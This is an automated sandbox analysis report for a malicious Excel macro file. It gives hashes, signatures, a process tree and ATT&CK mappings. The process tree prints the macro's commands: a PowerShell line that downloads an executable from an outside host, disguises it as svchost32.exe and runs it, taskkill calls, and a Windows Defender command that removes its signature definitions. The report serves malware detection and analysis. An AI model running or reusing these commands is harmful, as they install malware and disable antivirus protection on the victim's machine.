Analysis

  • max time kernel
    91s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2022 14:14

General

  • Target

    601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm

  • Size

    28KB

  • MD5

    b8f3bd05ba309b145a93bf03c3f97106

  • SHA1

    c79a2d7427dbd7a05e1faf4e894dccfbf98304eb

  • SHA256

    601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921

  • SHA512

    aa6634f3699eb2d1ef2ff48cefb7864bf4466f28c5fedf6ad43d40d83e5b509ad5f378d06145f2bcbb01a92a95dda7aea980db9af0cfe1cc5bcd90f2e9325d6f

  • SSDEEP

    768:+qDDovTEQ1MCf2W962F/XrNoa7PD3n4+KVj:+iCrMCo2F/PD34FVj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://lokipanelhostingpanel.gq/work/worknew/16.exe

Signatures

  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/16.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4396
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4252
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3848
      • C:\Windows\system32\taskkill.exe
        "C:\Windows\system32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4732
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
      2⤵
      • Process spawned unexpected child process
      PID:1232

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    b2c481dd754bf831d6ca2a792048919c

    SHA1

    e3e306f2b3f52a413ab0cd1362700db13726d500

    SHA256

    6ce76f0f173b36f842ab6bffb79f6812d80aac6027d81a6ffaa11fc2439782ee

    SHA512

    cc7e1f08739a2a6f1e31de5a62985603a38984f7b95d51403167f0e95da8402df5e47be334b9db1536e12e36d2e6795ceef72ba8db5b637340ec806462cd3cd9

  • memory/1232-142-0x0000000000000000-mapping.dmp
  • memory/1692-137-0x00007FFC09650000-0x00007FFC09660000-memory.dmp
    Filesize

    64KB

  • memory/1692-132-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp
    Filesize

    64KB

  • memory/1692-138-0x00007FFC09650000-0x00007FFC09660000-memory.dmp
    Filesize

    64KB

  • memory/1692-136-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp
    Filesize

    64KB

  • memory/1692-135-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp
    Filesize

    64KB

  • memory/1692-134-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp
    Filesize

    64KB

  • memory/1692-133-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp
    Filesize

    64KB

  • memory/3848-147-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp
    Filesize

    10.8MB

  • memory/3848-151-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp
    Filesize

    10.8MB

  • memory/3848-141-0x0000000000000000-mapping.dmp
  • memory/4252-140-0x0000000000000000-mapping.dmp
  • memory/4396-143-0x000001DA67F90000-0x000001DA67FB2000-memory.dmp
    Filesize

    136KB

  • memory/4396-144-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp
    Filesize

    10.8MB

  • memory/4396-150-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp
    Filesize

    10.8MB

  • memory/4396-139-0x0000000000000000-mapping.dmp
  • memory/4616-145-0x0000000000000000-mapping.dmp
  • memory/4732-146-0x0000000000000000-mapping.dmp